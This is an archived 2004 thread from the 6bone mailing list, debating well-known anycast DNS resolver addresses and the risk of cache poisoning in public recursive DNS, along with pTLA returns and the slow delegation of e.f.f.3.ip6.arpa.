> Directing traffic for a WKA address to a suitable DNS server(s) would
> be far easier.

You still need to actually _know_ if the network use WKA or not. Determing
that manually or by probing is not an acceptable solution. If you want WKA
to work automaticly, you would need a way to advertise on the network that
"we use WKA here", like RA. Doing that for all services cause N times amount
of noise which could perhaps be done better dhcp style. It would be better
to use something that could advertise the whole package (ntp, proxy, wins,
bootp, nntp, smtp etc) maybe even depending on who you are (eg mac).
Something like dhcp. Well, at least that's what I think.


>
> I support Iljitsch's idea to try this as an experiment.
>
> I disagree that it requires two pTLAs. My feeling is that there
> should absolutely _NOT_ be any public DNS recursive service offered
> at the WKA because of the security implications of a widely used
> public recursive DNS service. Even as an experimental address, it
> should not be public, because of the risk of it becoming widely used.
>
> The WKA should be confined internally to organisations, as a
> convenience, should they wish to make use of it.

Seconded.


Joergen Hovland


From paul@clubi.ie Wed May 12 13:45:39 2004
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On Wed, 12 May 2004, Jørgen Hovland wrote:

> Yes, and that's the problem with it.

There's little point in reinventing DHCP.
 
> You still need to actually _know_ if the network use WKA or not.
> Determing that manually or by probing is not an acceptable
> solution. If you want WKA to work automaticly, you would need a way
> to advertise on the network that "we use WKA here",

This is arguable, and precisely something an experiment with such 
addresses could establish.

regards,
-- 
Paul Jakma	paul@clubi.ie	paul@jakma.org	Key ID: 64A2FF6A
	warning: do not ever send email to spam@dishone.st
Fortune:
Washington, D.C: Fifty square miles almost completely surrounded by reality.

From jordi.palet@consulintel.es Wed May 12 17:17:51 2004
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FYI

Regional Internet Registries, IPv6 Task Forces and IPv6 Forum Pledge Cooperative Support of Global IPv6 Deployment
http://www.ist-ipv6.org/modules.php?op=modload&name=News&file=article&sid=547

TeliaSonera receives /20, the bigger IPv6 block up to now
http://www.ist-ipv6.org/modules.php?op=modload&name=News&file=article&sid=546

Regards,
Jordi





**********************************
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From iljitsch@muada.com Thu May 13 03:06:40 2004
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On 12-mei-04, at 8:55, Petr Baudis wrote:

> I believe such a thing should be backed up at least by an I-D which is
> *about* to get a consensus.

This is just not going to happen, just look at the attitude of the 
pro-DHCP crowd.


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From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: [6bone] Request: two 6bone pTLAs
Date: Thu, 13 May 2004 12:14:06 +0200
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On 12-mei-04, at 11:08, Pekka Savola wrote:

> I have to oppose this for the simple logic:
>  1) we want to kill 6bone as soon as possible

We want to kill it off 6/6/6. That's two years from now.

>  2) for these prefixes to be useful, they have to implemented

Just configured. This can happen in five minutes. No code required.

>  3) withdrawing implementations takes a long time.

This is something that's only going to be used by a very small number 
of people: those who run IPv6-only at least some of the time and roam 
between different IPv6 network, OR people who specificially want to 
participate in the experiment. When the WKAs are removed, these people 
will no longer be able to resolve names so they'll reconfigure their 
systems fairly quickly. Obviously there will be some stray traffic for 
a long time, but this will be fairly insignificant in the grand scheme 
of things.

Note that the value of these WKAs is that they are available 
everywhere, so as soon as the 6bone becomes unroutable in many parts of 
the network people will move away from the WKAs.

> So, giving out 6bone pTLAs would probably just lead to continuation of
> the 6bone mess.

> There is already a better process in place for something like this --
> for example the experimental allocations:
> http://www.ripe.net/ripe/docs/ipv6policy.html#experiment-assignments

6bone "mess" will have to be cleaned up (or left to be cooled off for a 
long time) anyway, this won't add a whole lot to this. On the other 
hand, doing this in RIR space creates a new mess that will probably be 
permanent. So using RIR space for just this experiment would be a 
mistake.


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From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: [6bone] Request: two 6bone pTLAs
Date: Thu, 13 May 2004 12:21:00 +0200
To: Bob Fink <bob@thefinks.com>
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On 12-mei-04, at 17:17, Bob Fink wrote:

> Also, given the process already gone through to draw up a 6bone 
> community accepted phaseout plan, which was strongly supported by the 
> IETF community with the approval of RFC 3701, no new 6bone 3FFE pTLA's 
> can be allocated. I've enclosed the relevant part of RFC 3701 here:

[...]

>>    Thus after the pTLA allocation cutoff date January 1, 2004, it is
>>    REQUIRED that no new 6bone 3FFE pTLAs be allocated.

If you guys feel it's important to stick to this, then the obvious 
conclusion is that we'll have to use existing 6bone pTLAs for this.

(Use of RFC 2119 terminology in informational RFCs in inappropriate, 
BTW.)

Within a few days, I'll send out a message three or so relevant 
mailinglists asking people who are about to return their pTLAs to make 
them available for this purpose instead.


From iljitsch@muada.com Thu May 13 03:43:43 2004
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From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: [6bone] Request: two 6bone pTLAs
Date: Thu, 13 May 2004 12:43:04 +0200
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On 12-mei-04, at 21:15, Jørgen Hovland wrote:

>> Not everyone wants to run a DHCP client.

>> Directing traffic for a WKA address to a suitable DNS server(s) would
>> be far easier.

> You still need to actually _know_ if the network use WKA or not. 
> Determing
> that manually or by probing is not an acceptable solution. If you want 
> WKA
> to work automaticly, you would need a way to advertise on the network 
> that
> "we use WKA here", like RA.

No, that's not the way it works. The well-known addresses would be 
available for everyone everywhere, so any type of advertising or 
probing is unnecessary.

If the local network runs one or more anycast instances, then the 
requests will be handled locally. If not, the requests will find their 
way to a more remote anycast instance. So as long as there is 
connectivity to the IPv6 internet, the WKAs work.

> It would be better
> to use something that could advertise the whole package (ntp, proxy, 
> wins,
> bootp, nntp, smtp etc) maybe even depending on who you are (eg mac).
> Something like dhcp. Well, at least that's what I think.

I just got a new cable internet connection to my home, and I'm not 
about to use the cable ISP's ntp, proxy, wins, nntp and smtp servers. 
(And what's bootp again? Did we use that in the '80s?) So I'm certainly 
not going to switch services whenever I hook up my notebook somewhere 
for a few hours. I'm sure some people will, but this is not something 
everyone needs. A DNS resolver on the other hand, is.

Additionally, it's going to be YEARS before OSes and applications are 
going to be able to configure themselves with all of the above using 
DHCPv6 (if it ever happens).

Paul wrote:

>> I disagree that it requires two pTLAs. My feeling is that there
>> should absolutely _NOT_ be any public DNS recursive service offered
>> at the WKA because of the security implications of a widely used
>> public recursive DNS service.

Are you afraid people are going to run malicious DNS resolvers?

That's an interesting problem. However, note that any ISP already gets 
to do this and much worse.

>> Even as an experimental address, it
>> should not be public, because of the risk of it becoming widely used.

>> The WKA should be confined internally to organisations, as a
>> convenience, should they wish to make use of it.

So what exactly would be the purpose of having them? What I want is to 
be able to open up my laptop, have it autoconfigure an IPv6 address and 
just use the IPv6 internet without having to think about it. This is 
only going to work if the WKAs are reachable everywhere.

An alternative to globally reachable WKAs would be site-local WKAs. I 
think Microsoft even uses those already. But waiting for the whole 
world to implement those isn't very attractive and then there is the 
whole site-local problem

[sorry about using up so much bandwidth, btw]

From jeroen@unfix.org Thu May 13 04:44:42 2004
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On Thu, 2004-05-13 at 12:43, Iljitsch van Beijnum wrote:
> On 12-mei-04, at 21:15, J=C3=B8rgen Hovland wrote:
>=20
> >> Not everyone wants to run a DHCP client.

Of which I am one of them. Also sticking a lot of options into DHCP
makes applications depend on DHCP and there simply is not DHCP
everywhere, we do have routing everywhere :)

> >> Directing traffic for a WKA address to a suitable DNS server(s) would
> >> be far easier.

It indeed is.

> > You still need to actually _know_ if the network use WKA or not.=20
> > Determing
> > that manually or by probing is not an acceptable solution. If you want=20
> > WKA
> > to work automaticly, you would need a way to advertise on the network=20
> > that
> > "we use WKA here", like RA.
>=20
> No, that's not the way it works. The well-known addresses would be=20
> available for everyone everywhere, so any type of advertising or=20
> probing is unnecessary.
>=20
> If the local network runs one or more anycast instances, then the=20
> requests will be handled locally. If not, the requests will find their=20
> way to a more remote anycast instance. So as long as there is=20
> connectivity to the IPv6 internet, the WKAs work.

I agree fully with you and I also see that this really something I would
like to have. Though I would either not directly use DNS but a small udp
challenge/response which could return multiple responses directing to
these DNS servers and maybe even some more information, like standaard
services (outgoing smtp etc) in the local network depending on how much
information is given to the server responding to the request.

<SNIP>

> >> The WKA should be confined internally to organisations, as a
> >> convenience, should they wish to make use of it.

An organisation can announce/route the prefix used by these DNS or other
discovery servers them selves and that issue is solved.

> So what exactly would be the purpose of having them? What I want is to=20
> be able to open up my laptop, have it autoconfigure an IPv6 address and=20
> just use the IPv6 internet without having to think about it. This is=20
> only going to work if the WKAs are reachable everywhere.

Indeed and this doesn't work with DHCP as DHCP isn't available
everywhere and when we need to add it to RA's and every other method
there will be umpteen ways to do this while one solution could suffice.

> An alternative to globally reachable WKAs would be site-local WKAs. I=20
> think Microsoft even uses those already. But waiting for the whole=20
> world to implement those isn't very attractive and then there is the=20
> whole site-local problem

The 'ipconfig /all' indeed shows fec0::53 or something addresses but, as
far as I know, no Windows IPv6 implementation can do IPv6 transported
DNS queries. Also as site-local is on the way out, this is no option.

Next to that this will also make the availability dependant on the
locally available services, thus if there still was  a 'site local'
something then it would have to be configured everywhere, while now only
the ISP's or the organisations wanting to have a convienience for their
users would need to set this up.

> [sorry about using up so much bandwidth, btw]

Useful discussions are no waste of bandwidth ;)

Greets,
 Jeroen


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From paul@clubi.ie Fri May 14 16:20:47 2004
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On Thu, 13 May 2004, Iljitsch van Beijnum wrote:

> Paul wrote:
> 
> > > I disagree that it requires two pTLAs. My feeling is that there
> > > should absolutely _NOT_ be any public DNS recursive service offered
> > > at the WKA because of the security implications of a widely used
> > > public recursive DNS service.
> 
> Are you afraid people are going to run malicious DNS resolvers?
> 
> That's an interesting problem. However, note that any ISP already
> gets to do this and much worse.

No, a public recursive DNS service would be very susceptible to DNS
poison attacks, both the easy attack by handing out deliberately
poisoned additional info on unrelated queries (though BIND no longer
accepts unrelated additional info, so not a huge problem, AFAIK), and
the other problem whereby if this public recursive DNS service were
tricked, if only just for an instant, to query an evil DNS server it
would presumably cache the result and hand it out to clients for a
period thereafter.
 
I'm not a DNS expert, I strongly suggest you seek advice on the risks 
of public recursive service from someone who is. (esp as you seek to 
investigate making such service global infrastructure).

> So what exactly would be the purpose of having them? What I want is
> to be able to open up my laptop, have it autoconfigure an IPv6
> address and just use the IPv6 internet without having to think
> about it. This is only going to work if the WKAs are reachable
> everywhere.

They still can be. Each ISP, or other organisation controlling a
network, can route the WKA to an appropriate DNS server. Exact same
as with 6to4, the address is global, but site dependent.
 
> An alternative to globally reachable WKAs would be site-local WKAs.

Site local's are deprecated arent they?

regards,
-- 
Paul Jakma	paul@clubi.ie	paul@jakma.org	Key ID: 64A2FF6A
	warning: do not ever send email to spam@dishone.st
Fortune:
In Tennessee, it is illegal to shoot any game other than whales from a
moving automobile.

From paul@clubi.ie Fri May 14 16:24:46 2004
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Hi Jeroen,

On Thu, 13 May 2004, Jeroen Massar wrote:

> On Thu, 2004-05-13 at 12:43, Iljitsch van Beijnum wrote:
> > On 12-mei-04, at 21:15, Jørgen Hovland wrote:

[ you snipped attribution line for me, but quoted me btw ;) ]

> > >> The WKA should be confined internally to organisations, as a
> > >> convenience, should they wish to make use of it.
> 
> An organisation can announce/route the prefix used by these DNS or other
> discovery servers them selves and that issue is solved.

Sure, IFF DNS experts dont see a security problem with public
recursive service. (my inexpert understanding is there potentially
are).

If not, I would strongly disagree with any proposal which seeks to
introduce fundamentally insecure infrastructure for default usage for
the sake of convenience.

regards,
-- 
Paul Jakma	paul@clubi.ie	paul@jakma.org	Key ID: 64A2FF6A
	warning: do not ever send email to spam@dishone.st
Fortune:
Parts that positively cannot be assembled in improper order will be.

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Subject: Re: [6bone] Request: two 6bone pTLAs
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On 15-mei-04, at 1:19, Paul Jakma wrote:

>> Are you afraid people are going to run malicious DNS resolvers?

>> That's an interesting problem. However, note that any ISP already
>> gets to do this and much worse.

> No, a public recursive DNS service would be very susceptible to DNS
> poison attacks, both the easy attack by handing out deliberately
> poisoned additional info on unrelated queries

Why would this be a problem for WKA resolvers more than for any other 
resolvers, and:

> (though BIND no longer
> accepts unrelated additional info, so not a huge problem, AFAIK),

[...]

> I'm not a DNS expert, I strongly suggest you seek advice on the risks
> of public recursive service from someone who is. (esp as you seek to
> investigate making such service global infrastructure).

No need. You are at the mercy of the person running the resolver for 
anything that doesn't use strong authentication (such as SSL, IPsec and 
SSH, if used correctly).

But then, regardless of the faint outcries of people who chose to be 
"security experts", this is pretty much a fact of life for most types 
of communication. If you want to be absolutely secure, you're going to 
have to expended a lot of time and money into that and be prepared to 
give up lots of stuff that can't be made secure (either inherently or 
in practice).

[Use WKA resolvers only privately]

>> So what exactly would be the purpose of having them?

> They still can be. Each ISP, or other organisation controlling a
> network, can route the WKA to an appropriate DNS server. Exact same
> as with 6to4, the address is global, but site dependent.

6to4 is a perfect example of what I want to do with WKA DNS resolvers: 
there are some people who run a global service (which you apparently 
didn't notice) but people also get to install their own private relays 
if they so choose. (That's for the part from the regular IPv6 internet 
towards 6to4 addresses, the other way around fully depends on public 
relays or non-well known ones.)

>> An alternative to globally reachable WKAs would be site-local WKAs.

> Site local's are deprecated arent they?

Don't you watch horror movies? The monster always comes back after 
being killed the first time.  :-)


From paul@clubi.ie Sun May 16 15:25:49 2004
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On Mon, 17 May 2004, Iljitsch van Beijnum wrote:

> Why would this be a problem for WKA resolvers more than for any
> other resolvers, and:

It is not a problem in the resolvers (if you mean WKA using clients).  
It is a problem in the DNS infrastructure.

> No need. You are at the mercy of the person running the resolver
> for anything that doesn't use strong authentication (such as SSL,
> IPsec and SSH, if used correctly).

There is currently no globally deployable security infrastructure for
DNS.
 
Damage at the moment is limited though, because recursive service at
the moment is usually only provided to a small subset of "clients" -
not the whole internet. Eg, the risk to $ISP is limited to evil
clients of $ISP, not to the whole internet. A WKA public recursive
DNS server would:

- be open to poisoning by $EVIL-CLIENTs on the whole internet

- the target audience of non-evil clients which would use this
service and hence potentially be given poisoned DNS replies would be
potentially the whole internet.

NB: Please ask DNS experts about DNS poison attacks.

> types of communication. If you want to be absolutely secure, you're
> going to have to expended a lot of time and money into that and be
> prepared to give up lots of stuff that can't be made secure (either
> inherently or in practice).

Well, the answer, allegedly, one day, is DNSSec and to have the root
zones signed and trust established from that point down. But that
will be a while. Until that day comes, I strongly feel that we should
not mandate DNS resolvers to potentially fall back to a very
exploitable public service.
 
> 6to4 is a perfect example of what I want to do with WKA DNS
> resolvers: 

Yes, I understand. The mechanics of the routing may be similar,
however the security implications are quite different.

The public recursive DNS servers located at WKA will be caching
lookups. If you can poison records cached by this public service, 
then all other clients querying it will get the poisoned records.

I feel that, unless there is reassurance from DNS gurus that
poisoning would not be a problem, there should _not_ be a public
service offering this.

> > Site local's are deprecated arent they?
> 
> Don't you watch horror movies? The monster always comes back after being
> killed the first time.  :-)

:)

regards,
-- 
Paul Jakma	paul@clubi.ie	paul@jakma.org	Key ID: 64A2FF6A
	warning: do not ever send email to spam@dishone.st
Fortune:
"Zaphod grinned two manic grins, sauntered over to the bar 
and bought most of it." 

- Zaphod in paradise. 

From iljitsch@muada.com Mon May 17 03:37:49 2004
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On 17-mei-04, at 0:25, Paul Jakma wrote:

> Damage at the moment is limited though, because recursive service at
> the moment is usually only provided to a small subset of "clients" -
> not the whole internet. Eg, the risk to $ISP is limited to evil
> clients of $ISP, not to the whole internet. A WKA public recursive
> DNS server would:

> - be open to poisoning by $EVIL-CLIENTs on the whole internet

> - the target audience of non-evil clients which would use this
> service and hence potentially be given poisoned DNS replies would be
> potentially the whole internet.

I'll skip over the point that anycasting limits all of this to a subset 
of the whole internet. In 1997, Alternic did some of this poisoning. 
They were quite successful at poisoning caches all over the place 
rather than just at their own ISP. It's not very hard to get someone to 
ask for some DNS data for which you are authorative. This is especially 
easy with email, and sometimes just visiting a web site is enough.

Anyone who is still vulnerable to this 7 years after the Alternic 
shennanigans is probably better of typing in addresses anyway.

> Well, the answer, allegedly, one day, is DNSSec and to have the root
> zones signed and trust established from that point down. But that
> will be a while. Until that day comes, I strongly feel that we should
> not mandate DNS resolvers to potentially fall back to a very
> exploitable public service.

Nobody is forcing anyone to USE this service. Any and all risks are 
only assumed by those who choose to use the service. As such, there is 
no reason not to run it just because it may be insecure. We *know* SMTP 
is insecure and still it's available all over the place.

>> 6to4 is a perfect example of what I want to do with WKA DNS
>> resolvers:

> Yes, I understand. The mechanics of the routing may be similar,
> however the security implications are quite different.

Yes, they are much worse for 6to4 because a malicious relay gets to see 
ALL traffic and launch man in the middle attacks.

> I feel that, unless there is reassurance from DNS gurus that
> poisoning would not be a problem, there should _not_ be a public
> service offering this.

I don't think my name is on the DNS guru list but I'm pretty sure this 
isn't an issue.


From paul@clubi.ie Mon May 17 04:03:49 2004
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On Mon, 17 May 2004, Iljitsch van Beijnum wrote:

> I'll skip over the point that anycasting limits all of this to a
> subset of the whole internet. In 1997, Alternic did some of this
> poisoning. 

Yes, indeed - it was 1996 though i think.

> They were quite successful at poisoning caches all over the place
> rather than just at their own ISP. 

Right, but the hole alternic used is long closed. So they made use of 
a trivial hole and poisoned a significant number of nameservers.

> It's not very hard to get someone to ask for some DNS data for
> which you are authorative. This is especially easy with email, and
> sometimes just visiting a web site is enough.

Indeed. But if you truly authorative and we've arrived at your DNS
server via appropriate delegation, there's no reason not to believe
your answer. And BIND discards additional answers for which a server
is not authorative.

> Nobody is forcing anyone to USE this service. Any and all risks are
> only assumed by those who choose to use the service. As such, there
> is no reason not to run it just because it may be insecure. We
> *know* SMTP is insecure and still it's available all over the
> place.

"ah, but XYZ is insecure" is not an excuse to introduce another 
service with security problems.

Forcing to use the service: No, nobody would be forced to, but the 
WKA would not be as useful otherwise. How does a client who wants to 
use the WKA, but is security sensitive and does not want to use a 
global service discriminate between a locally routed WKA and the 
global one.

At least, at a minimum, introduce 2 of them, the second address being 
one which must never be advertised globally.

> Yes, they are much worse for 6to4 because a malicious relay gets to
> see ALL traffic and launch man in the middle attacks.

Well, the DNS WKA would have this problem too. But we're not 
discussing that problem, we're discussing cache poisoning - which 
6to4 doesnt have.
 
> I don't think my name is on the DNS guru list but I'm pretty sure
> this isn't an issue.

Sorry, I'd rather hear "this isnt an issue" from someone who /is/.

regards,
-- 
Paul Jakma	paul@clubi.ie	paul@jakma.org	Key ID: 64A2FF6A
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About 14 days ago, May 06, 2004 at 02:05:28PM -0400, Frederick Lefebvre wrote:

> All,
> 
> As many persons noticed, we are in the final steps in the deployment of the 
> e.f.f.3.ip6.arpa zone.  In fact, it should be operational in a few days, as 

So, how goes it?

> soon as the servers are properly registered (Bob is taking care of that).

Have they been registered?

Anand

-- 
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 forces of Nature; but the man lost in selfish delusion thinks 
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Subject: [6bone] Return of 3ffe:4002::/32 by Motorola Labs
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Hello all,

Motorola Labs is returning the pTLA 3ffe:4002::/32 to the pool.  On behalf
of Motorola Labs, I thank you for allowing us the opportunity to have taken
part in the 6Bone community as a pTLA holder.

Our entries in the 6Bone registry will be deleted and/or updated by this
afternoon.  Please contact me directly if I miss something or with any other
comments.

Thank you,

Aron J. Silverton
Senior Staff Research Engineer
Motorola Labs, Networks and Infrastructure Research
Motorola, Inc.

Telephone: 847-576-8747    
Fax: 847-576-3240
mailto:Aron.J.Silverton@motorola.com


From raeburn@MIT.EDU Fri May 21 13:57:13 2004
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Hi.  Does someone have a current address for a 6bone contact at VBNS?
(Maybe it's someone on this list?)  The 6bone registry lists a couple
addresses that don't work any more:

   550 5.1.2 mci.net email domain is no longer valid.: ipv6@mci.net

Ken

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Aron,

At 01:20 PM 5/21/2004, Aron J. Silverton wrote:
>Hello all,
>
>Motorola Labs is returning the pTLA 3ffe:4002::/32 to the pool.  On behalf
>of Motorola Labs, I thank you for allowing us the opportunity to have taken
>part in the 6Bone community as a pTLA holder.
>
>Our entries in the 6Bone registry will be deleted and/or updated by this
>afternoon.  Please contact me directly if I miss something or with any other
>comments.

Thanks for returning this. I will update the pTLA records to show this.


Bob 


From dan@reeder.name Thu May 27 04:54:23 2004
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From L@bnmnetworks.net Sun May 30 14:10:29 2004
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Send me the info.
I have the contacts number but don't want to post on NG.
I'll forward your e-mail(s) to them.

r/s

Scotty



On Friday, May 21, 2004, at 16:56 US/Eastern, Ken Raeburn wrote:

> Hi.  Does someone have a current address for a 6bone contact at VBNS?
> (Maybe it's someone on this list?)  The 6bone registry lists a couple
> addresses that don't work any more:
>
>    550 5.1.2 mci.net email domain is no longer valid.: ipv6@mci.net
>
> Ken
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From cfaber@fpsn.net Mon May 31 12:47:30 2004
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About 11 days ago, May 19, 2004 at 11:36:57 +1000 Anand Kumria wrote:

>About 14 days ago, May 06, 2004 at 02:05:28PM -0400, Frederick Lefebvre wrote:
>
>  
>
>>All,
>>
>>As many persons noticed, we are in the final steps in the deployment of the 
>>e.f.f.3.ip6.arpa zone.  In fact, it should be operational in a few days, as 
>>    
>>
>
>So, how goes it?
>
>  
>
Still waiting..   Has hexago proceeded any further with the roll out 
of   e.f.f.3.ip6.arpa or has this been a dead issue?

>>soon as the servers are properly registered (Bob is taking care of that).
>>    
>>
>
>Have they been registered?
>
>Anand
>
>  
>
Bob, have you properly registered the servers yet?

-- 
Colin Faber
FPSN.Net Development staff
email: cfaber@fpsn.net


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Colin,

At 12:46 PM 5/31/2004, Colin Faber wrote:
>About 11 days ago, May 19, 2004 at 11:36:57 +1000 Anand Kumria wrote:
>
>>About 14 days ago, May 06, 2004 at 02:05:28PM -0400, Frederick Lefebvre 
>>wrote:
>>
>>
>>
>>>All,
>>>
>>>As many persons noticed, we are in the final steps in the deployment of 
>>>the e.f.f.3.ip6.arpa zone.  In fact, it should be operational in a few 
>>>days, as
>>
>>So, how goes it?
>>
>>
>Still waiting..   Has hexago proceeded any further with the roll out 
>of   e.f.f.3.ip6.arpa or has this been a dead issue?
>
>>>soon as the servers are properly registered (Bob is taking care of that).
>>>
>>
>>Have they been registered?
>>
>>Anand
>>
>>
>Bob, have you properly registered the servers yet?

Hexago and I are waiting for the registration of the servers, which is in 
Leslie Daigle's (IAB Chair) hands at the moment. I just asked for another 
status report.


Bob 


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From: Ken Raeburn <raeburn@MIT.EDU>
Subject: Re: [6bone] VBNS/MCI contact?
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On May 30, 2004, at 17:09, Scott Nelson wrote:
> Send me the info.
> I have the contacts number but don't want to post on NG.
> I'll forward your e-mail(s) to them.

Thanks for the offer.  The MCI contact has already gotten in touch with 
me, and has said that the registry data should be corrected soon.

Ken


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From: Anand Kumria <wildfire@progsoc.uts.edu.au>
To: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] e.f.f.3.ip6.[int|arpa] update
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Bob,

Should we continue to hold our collective breath for another month or
would it be more appropriate to email the IAB periodically.

It's been over 6 months since the RFC was published. Is it really this
complicated to get a reverse delegation done?

Anand

On Mon, May 31, 2004 at 04:16:48PM -0700, Bob Fink wrote:
> Colin,
> 
> At 12:46 PM 5/31/2004, Colin Faber wrote:
> >About 11 days ago, May 19, 2004 at 11:36:57 +1000 Anand Kumria wrote:
> >
> >>About 14 days ago, May 06, 2004 at 02:05:28PM -0400, Frederick Lefebvre 
> >>wrote:
> >>
> >>
> >>
> >>>All,
> >>>
> >>>As many persons noticed, we are in the final steps in the deployment of 
> >>>the e.f.f.3.ip6.arpa zone.  In fact, it should be operational in a few 
> >>>days, as
> >>
> >>So, how goes it?
> >>
> >>
> >Still waiting..   Has hexago proceeded any further with the roll out 
> >of   e.f.f.3.ip6.arpa or has this been a dead issue?
> >
> >>>soon as the servers are properly registered (Bob is taking care of that).
> >>>
> >>
> >>Have they been registered?
> >>
> >>Anand
> >>
> >>
> >Bob, have you properly registered the servers yet?
> 
> Hexago and I are waiting for the registration of the servers, which is in 
> Leslie Daigle's (IAB Chair) hands at the moment. I just asked for another 
> status report.
> 
> 
> Bob 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

-- 
 `` All actions take place in time by the interweaving of the 
 forces of Nature; but the man lost in selfish delusion thinks 
 that he himself is the actor.'' 
        Lord Krishna to Arjuna in _The Bhagavad Gita_

From cfaber@fpsn.net Tue Jun 29 20:04:38 2004
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Forwarded to the list for posterity

-- 
Colin Faber
FPSN.Net Development staff
email: cfaber@fpsn.net


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Subject: Re: [6bone] e.f.f.3.ip6.[int|arpa] update
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Colin,

I've been on vacation for 2 weeks and thus have no current info.

I had presumed it would be resolved by now, but see nothing in my email 
queue (which was way to big being gone for 2 weeks).

I'll try to get a status update.

Sorry about this; I'm as disappointed as you are in this slow path.


Bob

===
At 08:33 AM 6/14/2004, Colin Faber wrote:
>Hi Bob,
>
>I'm writing to follow up with you to find out if you've had any success 
>with David in finding out what the delay is in respect to IANA's 
>responsibility to roll out the e.f.f.3.arpa delegation?
>
>
>Bob Fink wrote:
>
>>Colin,
>>
>>At 10:57 PM 6/4/2004, Colin Faber wrote:
>>
>>>Hi bob,
>>>
>>>Any word on the registration process?
>>>
>>>I know how things can get bogged down when they're not a priority.
>>>Is there anything I can do to help expedite this - as I know there are 
>>>quiet a few people looking for this delegation to be completed.
>>
>>
>>Our AD (David Kessens) is querying the IANA person responsible. More news 
>>as I know it.
>>
>>
>>Bob
>>
>
>
>--
>Colin Faber
>FPSN.Net Development staff
>email: cfaber@fpsn.net




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Subject: Re: [6bone] e.f.f.3.ip6.[int|arpa] update
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Hi Geoff,

On Wed, Jun 30, 2004 at 12:07:58PM +1000, Geoff Huston wrote:
> Thanks for your note.

Thank you for responding.

> A reminder was sent to the IANA on this, and a related request, on the 17th 
> June and IANA did indicate in response that they would attend to this 
> promptly.

Is that response available publically? Were they able to commit to a
certain implementation date? I realise that this requires the coordination of 
a number of people who are volunteering their time but a timeframe for
implementation would be appreciated.

Regards,
Anand

-- 
 `` All actions take place in time by the interweaving of the 
 forces of Nature; but the man lost in selfish delusion thinks 
 that he himself is the actor.'' 
        Lord Krishna to Arjuna in _The Bhagavad Gita_

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Geoff,

At 07:07 PM 6/29/2004, Geoff Huston wrote:
>Thanks for your note.
>
>A reminder was sent to the IANA on this, and a related request, on the 
>17th June and IANA did indicate in response that they would attend to this 
>promptly.

I've been on vacation the last 3 weeks and didn't know this. Can you point 
me to the person at the IANA to query (I know no one there anymore :-)


Thanks,

Bob 


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Seems like things have started to stagnate again.

 Has anyone heard any word back from anyone at IANA about when they 
think they'll have the servers ready?


*prod* *push* *jab* etc.

E.E.F.3.IP6.ARPA

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On Wed, 2004-07-14 at 20:15, Colin Faber wrote:
> Seems like things have started to stagnate again.
>=20
>  Has anyone heard any word back from anyone at IANA about when they=20
> think they'll have the servers ready?
>=20
>=20
> *prod* *push* *jab* etc.
>=20
> E.E.F.3.IP6.ARPA

With any luck it will be there when XP SP2 finally comes out (now
planned for August 2004), which basically is one of the few OS's which
is not capable of ip6.arpa resolving, the rest can also be upgraded. Of
course one can install the RC which also works fine(tm).

And otherwise..... it will be 6/6/2006 ;)

When XP Sp2 is final I am dumping all ip6.int related domain's I have
control over, too bad for people who are still using those spaces and
when ip6.arpa isn't there yet, almost 2 years too late.

Greets,
 Jeroen


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From gert@Space.Net Thu Jul 15 04:18:38 2004
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Subject: Re: [6bone] e.f.f.3.ip6.[int|arpa] update
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Hi,

On Thu, Jul 15, 2004 at 09:37:20AM +0200, Jeroen Massar wrote:
> With any luck it will be there when XP SP2 finally comes out (now
> planned for August 2004), which basically is one of the few OS's which
> is not capable of ip6.arpa resolving, the rest can also be upgraded. Of
> course one can install the RC which also works fine(tm).

The Cisco IOS resolver should also do ipv6.arpa "real soon now".

[..]
> When XP Sp2 is final I am dumping all ip6.int related domain's I have
> control over, too bad for people who are still using those spaces and
> when ip6.arpa isn't there yet, almost 2 years too late.

Ditto.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  65398  (60210)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


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On Thu, 2004-07-15 at 13:18, Gert Doering wrote:
> Hi,
>=20
> On Thu, Jul 15, 2004 at 09:37:20AM +0200, Jeroen Massar wrote:
> > With any luck it will be there when XP SP2 finally comes out (now
> > planned for August 2004), which basically is one of the few OS's which
> > is not capable of ip6.arpa resolving, the rest can also be upgraded. Of
> > course one can install the RC which also works fine(tm).
>=20
> The Cisco IOS resolver should also do ipv6.arpa "real soon now".

And the Cisco PIX will be doing IPv6 firewalling "really soon now" too
;)

Or didn't you mean it sarcasticly ? :)

Greets,
 Jeroen


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From gert@Space.Net Thu Jul 15 06:21:38 2004
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Subject: Re: [6bone] e.f.f.3.ip6.[int|arpa] update
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Hi,

On Thu, Jul 15, 2004 at 02:49:02PM +0200, Jeroen Massar wrote:
> On Thu, 2004-07-15 at 13:18, Gert Doering wrote:
> > On Thu, Jul 15, 2004 at 09:37:20AM +0200, Jeroen Massar wrote:
> > > With any luck it will be there when XP SP2 finally comes out (now
> > > planned for August 2004), which basically is one of the few OS's which
> > > is not capable of ip6.arpa resolving, the rest can also be upgraded. Of
> > > course one can install the RC which also works fine(tm).
> > 
> > The Cisco IOS resolver should also do ipv6.arpa "real soon now".
> 
> And the Cisco PIX will be doing IPv6 firewalling "really soon now" too
> ;)

Dunno about that...

> Or didn't you mean it sarcasticly ? :)

No, I was speaking seriously.  It's a known issue, the code to fix it
exists (and works), and "just" needs to be rolled into the affected IOS 
trains.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  65398  (60210)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From Stig.Venaas@uninett.no Thu Jul 15 06:32:38 2004
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On Thu, Jul 15, 2004 at 02:49:02PM +0200, Jeroen Massar wrote:
> On Thu, 2004-07-15 at 13:18, Gert Doering wrote:
> > Hi,
> > 
> > On Thu, Jul 15, 2004 at 09:37:20AM +0200, Jeroen Massar wrote:
> > > With any luck it will be there when XP SP2 finally comes out (now
> > > planned for August 2004), which basically is one of the few OS's which
> > > is not capable of ip6.arpa resolving, the rest can also be upgraded. Of
> > > course one can install the RC which also works fine(tm).
> > 
